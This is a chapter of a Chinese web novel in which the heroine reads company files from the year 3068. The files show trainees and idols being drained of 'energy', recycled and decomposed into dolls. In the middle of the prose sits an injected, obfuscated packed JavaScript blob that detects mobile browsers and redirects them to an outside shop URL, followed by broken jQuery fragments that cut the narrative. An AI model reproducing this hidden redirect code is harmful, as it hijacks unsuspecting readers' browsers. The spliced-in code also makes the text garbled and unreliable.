“咚咚——”


    手指敲在玻璃上发出两声脆响


    而原本她们还以为好费一番功夫才能打开的玻璃罩却在轻轻一推后就轻易被推开。


    林温年伸手将里面的东西拿了一部分出来，接着周围的光源看了过去。


    一堆纸质文件毫无规律地堆叠在一起，上面的内容也似乎很普通。


    她手里拿的这一份好像是几个不同的人的档案资料。


    随手拿起最上面的一份翻开几页，里面写的是一个陌生名字从进入公司以来的一些资料信息。


    任旭，男，27岁，3068年6月1日进入极光制造成为练习生。


    3068年6月1日，进入公司领取工牌并报道。


    3068年6月2日，训练。


    3068年6月3日，训练。


    3068年6月4日，训练。


    ……


    3068年6月10日，参加考核，在考核中表现平平。标签能量略有波动。负能量值略有上升。


    3068年6月11日，已回收。


    林温年皱着眉头又翻开了下一份，里面的内容和刚刚那一份基本上差不多，只不过最后几天的记录不太一样——


    3068年6月10日，参加考核，在考核中表现中上。标签能量平稳。


    3068年6月11日，训练。


    “标签能量”？指的是那些黑色和白色的纸条吗？


    林温年带着疑问又翻开了几分记录。


    3068年6月10日，参加考核，在考核中表现良好。标签能量平稳，潜力值较大，已标记。


    3068年6月11日，训练。


    ……


    3068年6月10日，参加考核，在考核中表现较差。标签能量不稳定，负能量值较高。已回收。


    3068年6月11日，已送往分解区。


    ……


    “回收……分解区……”


    林温年嘴里喃喃着这些词，脑海里闪现刚刚在十五层里看到的那些画面。


    她将手里的资料放了回去，两人继续往前走。


    第二排的架子上也放着同样的东西，林温年和田渡橙一排一排看过去，依旧是和之前差不多的记录内容，只不过这一批的人进公司的时间比刚刚那一批要早一些。


    3068年5月14日，进入公司领取工牌并报道。


    3068年5月15日，训练。


    3068年5月16日，训练。


    3068年5月17日，训练。


    ……


    3068年5月23日，在训练中出现短暂负面能量波动，已标记。


    ……


    3068年5月25日，在训练中出现长时间走神，负面能量进一步升高。负面标签出现短暂外显化。


    ……


    3068年5月27日，在训练中出现情绪暴走、干扰训练行为，已进行干预治疗。


    3068年5月28日，训练。


    ……


    3068年6月10日，参加考核，在考核中发生失误。标签能量波动。负能量值极高，已回收并送往分解区。


    3068年6月11日，已分解。质量等级较低。


    林温年飞速翻阅着，不敢放过一点细节。


    放下手里的这一份后又继续往前走，更往前的资料的开始时间也在不断完前推，越来越多的陌生词汇出现在眼前，却一点一点平凑出这个副本背后的真实。


    她已经连着翻看了好几个架子上的资料，大部分的记录都是“训练”和考核，最后的结果基本上都是“回收”和“分解”，但她却还没有看到一份“出道”艺人的资料。


    或许是这些资料都是比较晚才进入公司的练习生。


    林温年不断往里走着，手里的资料也变得愈发厚重起来。


    两人在各个架子之间穿梭，一时间除了翻页的“沙沙”声外再没有别的声音。


    又前进了几个架子后，林温年看到的内容终于有了一些变化。


    3068年3月19日，训练。


    ……


    3068年4月5日，考核通过。


    ……


    3068年4月20日，在考核中表现良好，被选定为出道成员。


    3068年4月21日，进行第一次适应直播，无异常。


    3068年4月22日，进行第二次直播，采集过程顺利。能量波动较大，负面能量达到较高值。


    3068年4月23日，培训课程，负面标签已清除。能量波动稳定。


    3068年4月24日，进行第三次直播，采集过程顺利。能量略微波动，负面能量略微升高。


    3068年4月25日，粉丝互动直播，自主产生部分正面能量。


    3068年4月26日，进行第四次直播，采集过程顺利。能量波动平缓。


    ……


    3068年5月10日，进行第十次直播，采集过程过短。可采集正面能量过少。质量大幅下降。


    3068年5月11日，整体能量波动微弱。


    3068年5月12日，培训课程，清除了部分负面能量。


    3068年5月13日，能量波动极弱。


    3068年5月14日，退出团队，前往十四层领取工牌及工位。


    3068年5月15日，工作。


    3068年5月16日，工作。


    3068年5月17日，工作。


    ……


    3068年5月30日，负面能量已达峰值，出现情绪暴走，异化严重。已回收。


    ……


    3068年6月3日，已分解。


    3068年6月4日，已制作完成，编号0523。


    记录到这里结束，这是一段从练习生到出道艺人，又到一位十四层工作人员的经历。


    果然和林温年之前的一些猜测对应上了。


    从始至终，这些身份之间都是可以切换的。这似乎是一种层层筛选的过程。


    刚进入公司的练习生经过训练和考核之后，其中一部分会被选为出道艺人，而现在看来这个选拔标准其实根本就不是什么舞台实力，而是这个副本里的一种特殊的能量。


    大概就是那些所谓的“标签”。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869228|176114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正面标签能量越强的人，就越有可能被选中。而负面标签能量则代表着混乱，被这个副本所排斥。这些“艺人”其实就是那些正面能量更强，更容易产生出白色标签的人。


    而选中成为艺人之后，这些人就需要不断进行像她之前做过的那场直播一样的活动，不断被“采集”能量。


    一旦有负面能量出现，就会被带去“培训课程”进行清除程序。


    就这样，不断产生出白色标签后被在直播中采集，产生黑色标签后被强制清除，直到这个人彻底报废，再也无法生产出正面能量，变成一位“空心人”。


    但这似乎并不代表这个人失去了价值。


    他被再次送往十四层，赋予了一份新的工作。


    现在看来，之前那些看起来就脾气很不好的工作人员们原来就是更久之前的艺人，怪不得他们总是板着脸，现在倒是解释的通了。


    不过……既然之前是艺人，为什么没有被认出来呢？是因为循环周期太短，环境太封闭，还是练习生们平常接触不到他们呢？


    那那个逐梦少年团怎么解释？他们之后也会像这份资料里的人一样成为新的十四层的工作人员吗？


    那么这是不是代表着，每一位来自十四层的工作人员之前都是练习生和艺人呢？


    谷悠悠也是这样吗？


    林温年皱着的眉头没有松开，她总觉得事情没有这么简单。


    把这份资料放下，林温年迈出步子两三步到达了下一排架子的旁边。


    也是差不多的内容，虽然中间的过程可能有些许出入，但最终结果都差不多。


    这些更早一些的资料，最后大部分都是被“制作完成”，然后拥有了一个独特的编号。


    结合着之前的那些词语，什么“回收”、“分解”，又想起之前在十五层看到的那些画面。


    林温年有理由怀疑，那些在十五层门内晃荡的“僵尸人”很有可能就是被“回收”过的正常人。


    无论是练习生、艺人还是工作人员，等到他们身上无法再产生这个副本需要的能量，他们就会被回收到那里，在那个充满管线的房间里被榨取完最后一点价值后，再被吸入那个巨大的机器之中。连肉.体都要被吞吃入腹。


    那么那个编号是什么意思呢？完成制作又是什么意思？


    这个问题冒出来的一瞬间，林温年的脑海里就浮现出了那些几乎无处不在的“人偶”。


    一个想法再次冒了出来，虽然离谱，但放在这个地方又似乎出奇地合理。


    他们的身体被分解，搅碎，再重组，被“制作”成那些人偶，成为这很副本的一部分，成为采集工具和新的帮凶。


    林温年咽了咽口水，身上渗出一些冷汗。


    这个副本的“吃人”方式格外“温和”，但这种温和却往往更让人感到恐惧。


    在不知不觉中失去自我意识，沉溺于这种“日常生活“”中，然后又不知不觉地从“人”变成一个彻底的“商品”。


    此时此刻，正放在她口袋里的工牌仿佛不是一个身份证明，而是一个用来剥夺自我，给自己贴上标签，被选择、被奴役、被用来彻底榨干价值的刑具。